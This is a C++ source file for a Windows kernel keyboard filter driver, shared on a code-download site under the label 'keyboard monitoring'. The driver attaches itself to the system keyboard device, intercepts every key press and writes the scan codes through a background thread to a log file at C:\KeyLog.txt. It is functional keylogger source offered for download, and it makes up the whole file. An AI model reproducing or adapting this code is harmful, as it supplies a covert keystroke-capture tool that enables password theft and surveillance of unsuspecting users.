⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mskbdflt.cpp

📁 监视键盘
💻 CPP
字号:

//
//
// 2008/4/26
//
// Writted By Gdh
//

#include "MSKbdComm.h"

// 创建纪录键信息的日志文件
NTSTATUS	MSKbdCreateFile(
			IN PKBDDEVICE_EXTENSION pKbdExtension,
			IN UNICODE_STRING& usFileName
			)
{
	NTSTATUS	ntCode = STATUS_SUCCESS;

	KdPrint(("MSKbdCreateFile:"));

	IO_STATUS_BLOCK	iosb;
	OBJECT_ATTRIBUTES objAttr;
	InitializeObjectAttributes(&objAttr, &usFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
	
	// 创建文件
	ntCode = ZwCreateFile(&pKbdExtension->hLogFile, 
						  GENERIC_WRITE, 
						  &objAttr, 
						  &iosb, 
						  NULL, 
						  FILE_ATTRIBUTE_NORMAL,  
						  0,
						  FILE_OPEN_IF,
						  FILE_SYNCHRONOUS_IO_NONALERT,
						  NULL,
						  0);
	return ntCode;
}

// 键盘分层驱动的例程
NTSTATUS	MSKbdDriverEntry(
			IN PDRIVER_OBJECT pKbdDrvObj, 
			IN PUNICODE_STRING pRegisterPath
			)
{
	NTSTATUS ntCode = STATUS_SUCCESS;

	// 初始化驱动程序的函数表
	for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
	{
		pKbdDrvObj->MajorFunction[i] = MSKbdPassDown;
	}
	
	// 实现读取键盘缓冲
	pKbdDrvObj->MajorFunction[IRP_MJ_READ] = MSKbdRead;
	pKbdDrvObj->DriverUnload = MSKbdUnload;

	// 安装过滤设备
	ntCode = MSKbdHookDevice(pKbdDrvObj);
	if (NT_SUCCESS(ntCode))
	{
		// 创建保存记录的文件
		UNICODE_STRING usFileName;
		RtlInitUnicodeString(&usFileName, L"\\DosDevices\\c:\\KeyLog.txt");
		ntCode = MSKbdCreateFile((PKBDDEVICE_EXTENSION)pKbdDrvObj->DeviceObject->DeviceExtension, usFileName);
		if (NT_SUCCESS(ntCode))
		{
			// 创建纪录击键信息的线程
			ntCode = MSKbdInitRecKeyInfoThread(pKbdDrvObj);
		}
	}

	KdPrint(("MSKbdFlt Driver Load"));

	return ntCode;
}

// 安装键盘过滤设备(在设备堆栈中插入一个设备)
NTSTATUS	MSKbdHookDevice(
			IN	PDRIVER_OBJECT	pKbdDrvObj
			)
{
	NTSTATUS	ntCode = STATUS_SUCCESS;

	// 创建过滤设备
	PDEVICE_OBJECT	pKbdFltDev = NULL;
	ntCode = IoCreateDevice(pKbdDrvObj, 
							sizeof(KBDDEVICE_EXTENSION), 
							NULL,
							FILE_DEVICE_KEYBOARD,
							0,
							TRUE,
							&pKbdFltDev
							);

	KdPrint(("MSKbdHookDevice:IoCreateDevice:%d", ntCode));

	if (NT_SUCCESS(ntCode))
	{
		// 过滤设备标志应与它挂接到的设备标志相同(Use DeviceTree Tool To Look Info About Device)
		pKbdFltDev->Flags = pKbdFltDev->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
		pKbdFltDev->Flags &= ~DO_DEVICE_INITIALIZING;

		// 初始化过滤设备的设备扩展域
		PKBDDEVICE_EXTENSION pKbdExtension = (PKBDDEVICE_EXTENSION)pKbdFltDev->DeviceExtension;
		RtlZeroMemory(pKbdExtension, sizeof(KBDDEVICE_EXTENSION));		

		// 添加过滤设备到下一驱动程序设备上
		// L"\\Device\\KeyboardClass0"
		UNICODE_STRING	usKbdDevName;
		RtlInitUnicodeString(&usKbdDevName, L"\\Device\\KeyboardClass0");
		ntCode = IoAttachDevice(pKbdFltDev, &usKbdDevName, &pKbdExtension->pKbdDev);

		KdPrint(("MSKbdHookDevice:IoAttachDevice:%d", ntCode));
	}
	
	return ntCode;
}

// 驱动的读取例程
NTSTATUS	MSKbdRead(
			IN PDEVICE_OBJECT pKbdDevObj, 
			IN PIRP pIrp
			)
{
	KdPrint(("MSKbdRead:Keyboard Read Routine"));

	// 拷贝此请求到下一个驱动程序
	IoCopyCurrentIrpStackLocationToNext(pIrp);
	
	// 在此IRP中建立一个完成例程
	IoSetCompletionRoutine(pIrp, MSKbdReadCompletion, pKbdDevObj, TRUE, TRUE, TRUE);
	
	PKBDDEVICE_EXTENSION	pkbdExtension = (PKBDDEVICE_EXTENSION)pKbdDevObj->DeviceExtension;

	// 增加一个未决的IRP数目
	g_lPendingIrpNums++;
	
	KdPrint(("MSKbdRead:g_lPendingIrpNums=%d", g_lPendingIrpNums));

	return IoCallDriver(pkbdExtension->pKbdDev, pIrp); 
}

// 线程例程
VOID	MSKbdRecKeyThread(
		IN PVOID pContent
		)
{
	PKBDDEVICE_EXTENSION pkbdExtension = (PKBDDEVICE_EXTENSION)pContent;
	if (pkbdExtension)
	{
		while (TRUE)
		{
			KdPrint(("MSKbdRecKeyThread : Strta WaitForSingleObject"));

			// 等待信号量
			KeWaitForSingleObject(&pkbdExtension->semQueue, Executive, KernelMode, FALSE, NULL);
		
			KdPrint(("MSKbdRecKeyThread : Strta ExInterlockedRemoveHeadList"));

			// 从共享链表中取出数据
			PLIST_ENTRY plistEntry = ExInterlockedRemoveHeadList(&pkbdExtension->queueListHeader, &pkbdExtension->spinLockQueue); 
			if (plistEntry)
			{
				KdPrint(("MSKbdRecKeyThread:ExInterlockedRemoveHeadList:plistEntry=0X%08X", plistEntry));

				// 取出数据
				PKBD_DATA pkbdData = (PKBD_DATA)CONTAINING_RECORD(plistEntry, KBD_DATA, listEntry);
				if (pkbdData)
				{
					KdPrint(("MSKbdRecKeyThread:CONTAINING_RECORD:%08X", pkbdData->ushortScanCode));
					
					UNICODE_STRING usScanCode;
					if (NT_SUCCESS(RtlIntegerToUnicodeString((ULONG)pkbdData->ushortScanCode, 16, &usScanCode)))
					{
						// 写文件
						IO_STATUS_BLOCK	iosb;
						ZwWriteFile(pkbdExtension->hLogFile, NULL, NULL, NULL, &iosb, usScanCode.Buffer, usScanCode.Length, NULL, NULL);
						ZwWriteFile(pkbdExtension->hLogFile, NULL, NULL, NULL, &iosb, "\r\n", 2, NULL, NULL);

						KdPrint(("MSKbdRecKeyThread:ZwWriteFile:%ws", pkbdData->ushortScanCode));
					}
				}
			}
			
			// 检查是否需要终止线程
			if (pkbdExtension->bTerminateThread)
			{
				PsTerminateSystemThread(STATUS_SUCCESS);
				KdPrint(("MSKbdRecKeyThread: PsTerminateSystemThread Status Success"));
				break;
			}
		}
	}
}

// 创建纪录击键信息到文件的线程
NTSTATUS	MSKbdInitRecKeyInfoThread(
			IN PDRIVER_OBJECT pKbdDrvObj
			)
{
	NTSTATUS	ntCode = STATUS_SUCCESS;

	PKBDDEVICE_EXTENSION pKbdExtension = (PKBDDEVICE_EXTENSION)pKbdDrvObj->DeviceObject->DeviceExtension;
	pKbdExtension->bTerminateThread = FALSE;
	KeInitializeSemaphore(&pKbdExtension->semQueue, 0, MAXLONG);
	KeInitializeSpinLock(&pKbdExtension->spinLockQueue);
	InitializeListHead(&pKbdExtension->queueListHeader);
	
	// 创建系统线程
	HANDLE hSysThread = NULL;
	ntCode = PsCreateSystemThread(&hSysThread, THREAD_ALL_ACCESS, NULL, NULL, NULL, MSKbdRecKeyThread, pKbdExtension);

	KdPrint(("MSKbdInitRecKeyInfoThread:PsCreateSystemThread:%08X", ntCode));

	if (NT_SUCCESS(ntCode))
	{
		// 取出线程对象
		ntCode = ObReferenceObjectByHandle(hSysThread, THREAD_ALL_ACCESS, NULL, KernelMode, (PVOID*)&pKbdExtension->pThreadObj, NULL); 
		ZwClose(hSysThread);

		KdPrint(("MSKbdInitRecKeyInfoThread:ObReferenceObjectByHandle:%08X", ntCode));
	}

	return ntCode;
}

// 当下一层驱动完成IRP处理时则让IO管理器调用完成IRP的完成例程
NTSTATUS	MSKbdReadCompletion(
			IN PDEVICE_OBJECT pKbdDevObj,
			IN PIRP	pIrp,
			IN PVOID pContent
			)
{
	NTSTATUS ntCode = STATUS_SUCCESS;

	PKBDDEVICE_EXTENSION pKbdExtension = (PKBDDEVICE_EXTENSION)pKbdDevObj->DeviceExtension;
	
	KdPrint(("MSKbdReadCompletion:%08X", ntCode));

	if (pIrp->IoStatus.Status == STATUS_SUCCESS)
	{
		LONG uKeyDataNums = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
		PKEYBOARD_INPUT_DATA pkeys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
		if (pkeys)
		{
			// 保存数据到共享链表
			// 只保存按下键
			for (LONG i = 0; i < uKeyDataNums; i++)
			{
				if (pkeys[i].Flags == KEY_MAKE)
				{
					KdPrint(("Key Press Scade Code:%04X", pkeys[i].MakeCode));
					
					// 保存到旋转队列,必须使用常驻内存(IRQL Dispatch Level)
					PKBD_DATA pkbdData = (PKBD_DATA)ExAllocatePool(NonPagedPool, sizeof(KBD_DATA));
					pkbdData->ushortKeyStatus = pkeys[i].Flags;
					pkbdData->ushortPortId	  = pkeys[i].UnitId;
					pkbdData->ushortScanCode  = pkeys[i].MakeCode;
					
					// 加入双向链表
					ExInterlockedInsertTailList(&pKbdExtension->queueListHeader, &pkbdData->listEntry, &pKbdExtension->spinLockQueue);   

					// 增加信号量数
					KeReleaseSemaphore(&pKbdExtension->semQueue, 0, 1, FALSE); 
				}
			}
		}
	}

	if (pIrp->PendingReturned)
	{
		IoMarkIrpPending(pIrp);
	}

	g_lPendingIrpNums--;
	KdPrint(("MSKbdReadCompletion:g_lPendingIrpNums=%d", ntCode));

	return pIrp->IoStatus.Status;
}

// 驱动的卸载例程
VOID	MSKbdUnload(
		IN PDRIVER_OBJECT pKbdDrvObj
		)
{
	KdPrint(("Strat MSKbdUnload"));

	// 卸载分层驱动
	PKBDDEVICE_EXTENSION pkbdExtension = (PKBDDEVICE_EXTENSION)pKbdDrvObj->DeviceObject->DeviceExtension;
	IoDetachDevice(pKbdDrvObj->DeviceObject);

	// 等待按键处理全部完成
	// 创建定时器
	KTIMER timer;
	KeInitializeTimer(&timer);
	LARGE_INTEGER	timeout;
	timeout.QuadPart = 1000000; // 1s 
	
	if (g_lPendingIrpNums > 0)
	{
		// 还有读取键盘的请求没被处理
		KeSetTimer(&timer, timeout, NULL);
		KeWaitForSingleObject(&timer, Executive, KernelMode, FALSE, NULL); 
	}
	
	// 设置内核线程的退出标志
	pkbdExtension->bTerminateThread = TRUE;
	
	// 防止内核线程阻塞
	KeReleaseSemaphore(&pkbdExtension->semQueue, 0, 1, TRUE);
	
	// 等待线程终止
	KeWaitForSingleObject(pkbdExtension->pThreadObj, Executive, KernelMode, FALSE, NULL); 

	// 删除文件句柄
	ZwClose(pkbdExtension->hLogFile);
	
	// 删除设备
	IoDeleteDevice(pKbdDrvObj->DeviceObject);
}

// 在驱动程序的主函数表中设置所有的函数地址为MSKbdPassDown
// 此例程不处理,直接传递请求到下一层驱动
NTSTATUS	MSKbdPassDown(
			IN PDEVICE_OBJECT pKbdDevObj, 
			IN PIRP pIrp
			)
{
	KdPrint(("MSKbdPassDown"));

	// 传递当前的IRP让下一层驱动程序处理
	IoSkipCurrentIrpStackLocation(pIrp);
	
	PKBDDEVICE_EXTENSION pkbdExtension = (PKBDDEVICE_EXTENSION)pKbdDevObj->DeviceExtension;
	return IoCallDriver(pkbdExtension->pKbdDev, pIrp);
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -